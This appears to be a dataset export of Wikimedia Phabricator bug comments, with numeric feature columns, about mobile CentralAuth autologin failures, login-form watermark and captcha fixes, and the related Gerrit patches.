+408031,CentralAuth AutoLogin not working from mobile site Main Pages,I split off bug #1 in the previous comment into bug T88860. I will also retitle this bug.,,,1423262512,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+408023,CentralAuth AutoLogin not working from mobile site Main Pages,"I ran some testcases and got the following results consistently:
+
+Logging into mobile Wikipedia from the Main Page:
+    Fails to load 1x1 images
+    Fails to log into any sites except desktop Wikipedia
+
+Logging into mobile Wikipedia from an article page:
+    Successfully loads 1x1 images
+    Successfully logs into all sites except mobile Commons
+
+Logging into mobile Commons from the Main Page:
+    Fails to load 1x1 images
+    Fails to log into any sites
+
+Logging into mobile Commons from a file page:
+    Successfully loads 1x1 images
+    Successfully logs into all sites except desktop Commons
+
+Logging into mobile Wiktionary from the Main Page:
+    Fails to load 1x1 images
+    Fails to log into any sites except desktop Wiktionary
+
+Logging into mobile Wiktionary from a word page:
+    Successfully loads 1x1 images
+    Successfully logs into all sites except mobile Commons
+
+So there appear to be 2 separate bugs:
+1. Authentication sharing between desktop and mobile Commons is totally broken (likely a config issue)
+2. If you log in from a mobile Main Page, CentralAuth's EdgeLoginHTML isn't loading into the page",,,1423261825,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+407937,CentralAuth AutoLogin not working from mobile site Main Pages,"It looks like the train deployment did not fix the CentralAuth bug on the group 0 wikis (testwiki, mediawiki).",,,1423252236,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+405629,CentralAuth AutoLogin not working from mobile site Main Pages,@kaldari ping me when this is deployed on enwiki,,,1422894443,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0
+404990,CentralAuth AutoLogin not working from mobile site Main Pages,"(so my theory/hope is that #2 is just bad configuration on betalabs - domains )
+",,,1422647856,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+404980,CentralAuth AutoLogin not working from mobile site Main Pages,"@csteipp helpfully helped me debug this IRL but sadly we couldn't find what was going on. Appears there are two issues.
+
+1) Images not being loaded after login redirect on mediawiki.org but are on beta labs.
+On beta labs/locally if you login
+After redirect open up your JS console:
+> $( 'img' )
+><img src=""//en.wikibooks.beta.wmflabs.org/wiki/Special:CentralAutoLogin/start?type=1x1&amp;from=enwiki"" alt="""" title="""" width=""1"" height=""1"" style=""border: none; position: absolute;"">
+and similar images should be in the results.
+
+Do the same on mediawiki.org or enwiki and these images are absent for some reason.
+Let's fast forward mediawiki.org to master on Monday and see if this fixes the problem. @kaldari can you do this?
+If not, we'll need to debug some more. It might be specific to the m. domain (which will be hard to test locally and can be 
+tested on ).
+
+2) On beta labs despite the images being loaded, the user is only logged in on the desktop site. It seems that cookies are being set without a domain parameter, thus are only applying to the desktop domain. We currently have no idea why the domain is being dropped. When you sign in on desktop it is not dropped and passed in the set cookie request header. Any ideas?
+
+
+",,,1422647216,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+404918,CentralAuth AutoLogin not working from mobile site Main Pages,">>! In T87290#1003091, @Jdlrobson wrote:
+> I'm not sure what's going on here. I tried alpha which should run all hooks (doesn't override login form) and the problem is broken there too.
+> https://login.wikimedia.org/wiki/Special:CentralLogin/start?token=c64737c3d89e2324d55892229caeb7b0
+> https://en.m.wikipedia.org/wiki/Special:CentralLogin/complete?token=8884d49b6dfc289a1df92d13188c4072
+> are both sending forced 302's
+> I'm not seeing any images loaded anywhere...
+
+Right, you get a final 302 from en.m.wikipedia.org's Special:CentralLogin, then you (should) get back to the article where you clicked login from. On that page, there are supposed to be 1x1 images, but something is preventing them from reaching the output html. Either mobile frontend, or a CentralAuthPostLoginRedirect hook.
+
+
+>>! In T87290#1004525, @Jdlrobson wrote:
+> @csteipp can you or someone else help me debug this? We are losing edits as a result. This is pretty problematic for us and I have no idea how this black magic works :-/
+
+Yeah, let me know when you want to go through it.
+
+",,,1422641938,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+404908,CentralAuth AutoLogin not working from mobile site Main Pages,"@csteipp note this can be replicated on beta labs
+
+Steps to demonstrate:
+Ensure logged out / clear cookies.
+Login @ http://en.m.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin
+Navigate to  http://m.wikidata.beta.wmflabs.org/wiki/Wikidata:Main_Page
+Notice you are logged out at Wikidata
+
+@csteipp can you or someone else help me debug this? We are losing edits as a result. This is pretty problematic for us and I have no idea how this black magic works :-/",,,1422640967,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0
+404671,CentralAuth AutoLogin not working from mobile site Main Pages,"I'm not sure what's going on here. I tried alpha which should run all hooks (doesn't override login form) and the problem is broken there too.
+https://login.wikimedia.org/wiki/Special:CentralLogin/start?token=c64737c3d89e2324d55892229caeb7b0
+https://en.m.wikipedia.org/wiki/Special:CentralLogin/complete?token=8884d49b6dfc289a1df92d13188c4072
+are both sending forced 302's
+I'm not seeing any images loaded anywhere...
+",,,1422581446,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+404402,CentralAuth AutoLogin not working from mobile site Main Pages,"During login for global accounts (which redirects to loginwiki, then back to the wiki where the user logged in, then usually to the page they were logging in on), SpecialCentralLogin.php (Line 224) sets ""CentralAuthDoEdgeLogin"" in the user's session when the user first comes back to the wiki where they are logging in. Then when they are redirected to the page where they clicked the login button, the onBeforePageDisplay hook looks for ""CentralAuthDoEdgeLogin"" and if it's present, inserts a bunch of 1x1 images (I thought it was javascript, but I was thinking of something else) to attempt logging in on the sister projects.
+
+The images are generated in CentralAuthHooks::getEdgeLoginHTML().
+
+It seems like either MobileFrontend is stripping out the 1x1 images from getEdgeLoginHTML, or SpecialCentralLogin isn't setting CentralAuthDoEdgeLogin because another extension is hooking CentralAuthPostLoginRedirect and sending the user to another page (GettingStarted used to do that, but I think that's been pulled out for the most part).
+",,,1422554344,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-22,True,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+404183,CentralAuth AutoLogin not working from mobile site Main Pages,"What is autologin JavaScript? Can you link me to it? Is it a new thing? Does it use ResourceLoader ?
+",,,1422488957,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0
+404162,CentralAuth AutoLogin not working from mobile site Main Pages,"It looks like MobileFrontend might be stripping out the autologin javascript? On login, I'm not getting the javascript that pings all of the other sites to attempt autologin.",,,1422487138,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+404138,CentralAuth AutoLogin not working from mobile site Main Pages,"No recent changes to the autologin process. That process is heavily reliant on browser's 3rd party cookie acceptance (and when you hit the site anonymously, we again try to log you in, to account for browsers that don't do 3rd-party cookies).
+
+Did you recently upgrade browsers?",,,1422485632,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+404124,CentralAuth AutoLogin not working from mobile site Main Pages,"I don't see any recent changes in CentralAuth extension
+Could also be something configured incorrectly?
+",,,1422484506,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+404123,CentralAuth AutoLogin not working from mobile site Main Pages,@CSteipp did something change recently?,,,1422484446,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-zahrcqaapno4kaxpwpqf,task_subcomment,,True,c3,1,True,,,-23,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0
+87261,"Watermark and no default message not shown in alpha version of login form
+","In alpha on the minerva skin (mobile) the following should be present before the login form:
+{F30271}
+
+The grey box should only appear when there are no errors/warnings for submitting the form.
+It should be possible to do this via a hook on the existing login form or as a change in core.
+",Needs Triage,90.0,1421782694,1437588584.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-vkqukrdqnvt6wbp446s6,task_description,resolved,True,c3,1,True,False,True,-24,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+494058,"Watermark and no default message not shown in alpha version of login form
+","Change 223348 merged by jenkins-bot:
+Add MobileFrontendLogo to alpha login/create page
+
+[[https://gerrit.wikimedia.org/r/223348]]",,,1437426058,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+493651,"Watermark and no default message not shown in alpha version of login form
+","Change 223349 merged by jenkins-bot:
+Allow extensions to add a banner to UserLogin and CreateAccount special pages
+
+[[https://gerrit.wikimedia.org/r/223349]]",,,1437339010,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+488310,"Watermark and no default message not shown in alpha version of login form
+","Change 219955 merged by jenkins-bot:
+Add default sign in message to all login pages (stable/alpha)
+
+[[https://gerrit.wikimedia.org/r/219955]]",,,1436305393,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,0,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+488147,"Watermark and no default message not shown in alpha version of login form
+","I'm not sure, what the correct behaviour would be:
+
+In stable the watermark is only added, if there is no warning, no error message and you're currently not logged in:
+Without watermark (if you're not logged in):
+https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Special%3AWatchlist&warning=mobile-frontend-watchlist-purpose
+
+With watermark (if you're not logged in):
+https://en.m.wikipedia.org/wiki/Special:UserLogin?mobileaction=stable
+
+That doesn't make much sense for me, so i implemented it in the above two changes, that the watermark is always visible. But some clarification from #design would be great @KHammerstein :)",,,1436288460,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,1,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0
+488144,"Watermark and no default message not shown in alpha version of login form
+","Change 223349 had a related patch set uploaded (by Florianschmidtwelzow):
+Allow extensions to add a banner to UserLogin and CreateAccount special pages
+
+[[https://gerrit.wikimedia.org/r/223349]]
+",,,1436288274,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+488143,"Watermark and no default message not shown in alpha version of login form
+","Change 223348 had a related patch set uploaded (by Florianschmidtwelzow):
+Add MobileFrontendLogo to alpha login/create page
+
+[[https://gerrit.wikimedia.org/r/223348]]
+",,,1436288267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+481174,"Watermark and no default message not shown in alpha version of login form
+",">>! In T87261#1398148, @Jdlrobson wrote:
+> @Florian I assume you will just fix the warning message? Should we create a separate bug for the logo? e.g. split this into two?
+
+I think that's not needed, i'll work on the image, too, but i think it could be a bit harder but i hope it's possible with the header template field :)",,,1435185988,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,1
+481157,"Watermark and no default message not shown in alpha version of login form
+",@Florian I assume you will just fix the warning message? Should we create a separate bug for the logo? e.g. split this into two?,,,1435184804,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+480370,"Watermark and no default message not shown in alpha version of login form
+",@Jdlrobson Agree that it does add a sense of trust. The message is inviting. I wasn't part of the original design decision. Lets add this to the alpha form for now until we have a larger conversation about the login form. ,,,1435095852,,PHID-USER-flenunkasbjk4topxvaj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,0
+480250,"Watermark and no default message not shown in alpha version of login form
+","I think the logo reinforces where you are and adds a sense of trust. @khammerstein was there any reason we put an image on the login form of mobile?
+
+(I have to say it does look much nicer with it but it would be good to have some real reasoning behind why it is there)
+",,,1435087900,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0
+479286,"Watermark and no default message not shown in alpha version of login form
+","Do we really need the logo? I think about the limited space on mobile devices and the core login page contains a button to signup, which makes the form a little bit ""longer"". I think we should try to make th page as short as possible? :)",,,1435001130,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,0,1,0,0
+479284,"Watermark and no default message not shown in alpha version of login form
+","Change 219955 had a related patch set uploaded (by Florianschmidtwelzow):
+Add default login message to all Loginpages (stable/alpha)
+
+[[https://gerrit.wikimedia.org/r/219955]]
+",,,1435001048,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vkqukrdqnvt6wbp446s6,task_subcomment,,True,c3,2,False,,,-2,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+87260,Captcha not rendering on stable login form,"I know why. it's related to an upstream change. another reason we should be using core code. Fix on way.
+",Needs Triage,90.0,1421782316,1421806330.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-4tcolqn55a3axjjlv26p,task_description,resolved,True,c3,1,True,True,True,-24,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+402348,Captcha not rendering on stable login form,"Change 186143 merged by jenkins-bot:
+Fix PHP Notice error in UserCreateLoginTemplate
+
+[[https://gerrit.wikimedia.org/r/186143]]",,,1421960981,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-23,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+401998,Captcha not rendering on stable login form,"Change 186143 had a related patch set uploaded (by Florianschmidtwelzow):
+Fix PHP Notice error in UserCreateLoginTemplate
+
+[[https://gerrit.wikimedia.org/r/186143]]
+
+#patch-for-review",,,1421823172,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+401946,Captcha not rendering on stable login form,"Change 186014 merged by jenkins-bot:
+Regression: Restore captcha in stable
+
+[[https://gerrit.wikimedia.org/r/186014]]",,,1421805679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+401770,Captcha not rendering on stable login form,"> another reason we should be using core code
++++++++++++++++++1!
+The header field shouldn't be omitted (or moved) :/",,,1421783584,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,True,,,-24,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1
+401755,Captcha not rendering on stable login form,"Change 186014 had a related patch set uploaded (by Jdlrobson):
+Regression: Restore captcha in stable
+
+[[https://gerrit.wikimedia.org/r/186014]]
+
+#patch-for-review",,,1421782463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4tcolqn55a3axjjlv26p,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+87257,Hide account benefits in Minerva version of login page,".mw-createacct-benefits-container looks out of place and badly designed on Special:UserLogin in the alpha mode of the site.
+Let's simply hide it for the time being.",Needs Triage,90.0,1421781853,1422556818.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-ew7zqnmwaq3odpdwt76d,task_description,resolved,True,c3,1,True,True,True,-24,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+421602,Hide account benefits in Minerva version of login page,"No as commit message says it is alpha only.
